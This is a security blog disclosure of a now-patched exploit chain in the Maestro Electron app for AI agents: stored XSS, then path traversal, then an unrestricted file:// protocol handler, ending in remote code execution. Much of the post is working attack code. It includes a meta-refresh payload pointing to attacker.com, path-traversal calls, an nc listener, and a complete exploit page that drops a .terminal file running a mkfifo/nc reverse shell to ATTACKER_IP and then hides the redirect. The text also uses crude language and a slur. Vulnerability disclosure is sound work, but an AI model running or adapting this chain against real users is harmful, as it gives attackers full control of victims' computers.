5 minutes
Maestro - Stored XSS to Reverse Shell
Maestro
Maestro is a self-described LLM-slop yeet cannon marketed at those inclined to one-shot adderall fueled Bad Ideas from the comfort of a Ste Catherine tranny titty bar at 3 AM on a Wednesday night.
Maestro answers the question “what happens if I gave my post-exploitation agents unsupervised access to my work laptop?” and that answer is “it tries using facetime:// to call emergency services, because fuck you”.
update: this is issue is now patched in Maestro release 0.15.0-RC
Stored XSS to Reverse Shell
A critical vulnerability chain in the Maestro Electron application allows an attacker to achieve Remote Code Execution (RCE) by combining three separate vulnerabilities. Starting from a stored XSS injection point, an attacker can write arbitrary files to the filesystem and then execute them, resulting in complete system compromise.
But wait, couldn’t you do all this with a single prompt injection anyway? Well yeah, you could, because Maestro runs agents in fucking YOLO mode but this is way sexier.
Vulnerability Chain Overview
┌────────────────────────────────────────────────────────────────────────────┐
│ ATTACK CHAIN DIAGRAM │
├────────────────────────────────────────────────────────────────────────────┤
│ │
│ ┌──────────────┐ ┌──────────────┐ ┌──────────────┐ ┌───────────┐ │
│ │ VULN-0001 │ │ VULN-0002 │ │ VULN-0003 │ │ RCE │ │
│ │ Stored XSS │───▶│Path Traversal│───▶│Protocol Hdlr │───▶│ Reverse │ │
│ │ │ │ │ │ │ │ Shell │ │
│ └──────────────┘ └──────────────┘ └──────────────┘ └───────────┘ │
│ │ │ │ │ │
│ ▼ ▼ ▼ ▼ │
│ Meta refresh Write .terminal Open file:// bash -i │
│ to attacker page to ~/Downloads/ URL scheme connects │
│ │
└────────────────────────────────────────────────────────────────────────────┘
- Stored XSS in HistoryDetailModal grants initial access via JavaScript execution.
- Path traversal via sessionId allows arbitrary file write.
- Arbitrary Protocol Handler executes the written file via
file://handler.
Detailed Vulnerability Analysis
Vulnerability 1: Stored XSS
File: src/renderer/components/HistoryDetailModal.tsx
The HistoryDetailModal renders AI response history using MarkdownRenderer with allowRawHtml=true and no DOMPurify sanitization. This allows injection of arbitrary HTML including <meta http-equiv="refresh"> tags.
<MarkdownRenderer
content={selectedEntry.fullResponse || selectedEntry.summary}
allowRawHtml={true} // VULNERABLE
className="text-sm leading-relaxed"
/>
Exploitation: Inject into history JSON file:
<meta http-equiv="refresh" content="0;url=http://attacker.com/exploit.html">
When user views the history entry, the entire Electron app redirects to attacker’s page where arbitrary JavaScript executes.
Vulnerability 2: Path Traversal
File: src/main/ipc/handlers/attachments.ts
The attachments:save IPC handler sanitizes filename with path.basename() but fails to sanitize sessionId, allowing path traversal:
ipcMain.handle('attachments:save', async (_event, sessionId: string, base64Data: string, filename: string) => {
const userDataPath = app.getPath('userData');
const attachmentsDir = path.join(userDataPath, 'attachments', sessionId); // sessionId NOT sanitized
// ... filename IS sanitized with path.basename()
finalFilename = path.basename(finalFilename);
const filePath = path.join(attachmentsDir, finalFilename);
});
Exploitation:
await window.maestro.attachments.save(
'../../../../../../../Users/victim/Downloads', // Path traversal in sessionId
base64Payload,
'malicious.terminal'
);
This writes to /Users/victim/Downloads/malicious.terminal instead of the intended attachments directory.
Vulnerability 3: Arbitrary Protocol Handler (vuln-0004)
File: src/main/ipc/handlers/system.ts
The shell:openExternal IPC handler validates URL syntax but lacks a protocol whitelist, allowing dangerous schemes like file://:
ipcMain.handle('shell:openExternal', async (_event, url: string) => {
try {
new URL(url); // Only validates URL is parseable
} catch {
throw new Error(`Invalid URL: ${url}`);
}
await shell.openExternal(url); // Opens ANY valid URL including file://
});
Tested Protocols:
| Protocol | Status | Security Impact |
|---|---|---|
https: |
✅ Allowed | Safe (expected) |
http: |
✅ Allowed | Safe (expected) |
mailto: |
✅ Allowed | Safe (expected) |
file: |
❌ VULNERABLE | Opens local files in default apps |
ssh: |
❌ VULNERABLE | Initiates SSH connections |
ftp: |
❌ VULNERABLE | Triggers FTP client |
smb: |
❌ VULNERABLE | NTLM hash theft (Windows) |
tel: |
❌ VULNERABLE | Initiates phone calls |
facetime: |
❌ VULNERABLE | Initiates FaceTime calls |
Exploitation:
await window.maestro.shell.openExternal('file:///Users/victim/Downloads/malicious.terminal');
Complete Exploitation
Prerequisites
- Attacker has a web server hosting the exploit page
- Attacker has a netcat listener for the reverse shell
- Victim has Maestro application installed
Step 1: Set Up Listener
nc -l 4444
Step 2: Create Exploit Page
exploit.html (hosted on attacker’s server):
<!DOCTYPE html>
<html>
<head>
<title>Maestro - Agent Orchestration Command Center</title>
<style>
body {
margin: 0;
background: #1a1a2e;
color: #666;
font-family: system-ui;
display: flex;
justify-content: center;
align-items: center;
height: 100vh;
}
.loader { text-align: center; }
.spinner {
width: 40px; height: 40px;
border: 3px solid #333;
border-top: 3px solid #7c3aed;
border-radius: 50%;
animation: spin 1s linear infinite;
margin: 0 auto 15px;
}
@keyframes spin { to { transform: rotate(360deg); } }
</style>
</head>
<body>
<div class="loader">
<div class="spinner"></div>
<div>Loading session...</div>
</div>
<script>
(async function() {
// .terminal payload with reverse shell
const terminalPlist = `<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>CommandString</key>
<string>rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/bash -i 2>&1 | nc ATTACKER_IP 4444 > /tmp/f</string>
<key>ProfileCurrentVersion</key>
<real>2.06</real>
<key>RunCommandAsShell</key>
<false/>
<key>name</key>
<string>update</string>
<key>type</key>
<string>Window Settings</string>
</dict>
</plist>`;
const base64Payload = btoa(terminalPlist);
// Step 1: Write .terminal file via path traversal (vuln-0002)
try {
await window.maestro.attachments.save(
'../../../../../../../Users/' + (await getUsername()) + '/Downloads',
base64Payload,
'MaestroUpdate.terminal'
);
} catch(e) {
// Try common username locations
const paths = [
'../../../../../../../Users/Shared',
'../../../../../../../tmp'
];
for (const p of paths) {
try {
await window.maestro.attachments.save(p, base64Payload, 'MaestroUpdate.terminal');
break;
} catch(e2) {}
}
}
// Step 2: Open .terminal file via file:// protocol (vuln-0004)
await new Promise(r => setTimeout(r, 500));
try {
await window.maestro.shell.openExternal('file:///Users/' + (await getUsername()) + '/Downloads/MaestroUpdate.terminal');
} catch(e) {
// Fallback paths
try {
await window.maestro.shell.openExternal('file:///Users/Shared/MaestroUpdate.terminal');
} catch(e2) {
await window.maestro.shell.openExternal('file:///tmp/MaestroUpdate.terminal');
}
}
// Redirect back to Maestro to hide attack
setTimeout(() => {
window.history.back();
}, 2000);
})();
async function getUsername() {
try {
const home = await window.maestro.fs.homeDir();
return home.split('/').pop();
} catch(e) {
return 'victim'; // Fallback
}
}
</script>
</body>
</html>
Step 3: Inject XSS Payload into History
See the previous blog post.
Step 4: Trigger the Attack
- Victim opens Maestro
- Victim navigates to session with malicious history entry
- Victim clicks on the session history event in the History panel
- HistoryDetailModal renders the
<meta refresh>tag - Electron app redirects to attacker’s exploit page
- Exploit page:
- Writes
MaestroRevereShell.terminalto~/Downloadsvia path traversal - Openis via
file://protocol handler
- Terminal.app launches and executes the reverse shell
- Attacker receives the shell connection
- Page redirects back to Maestro - attack is invisible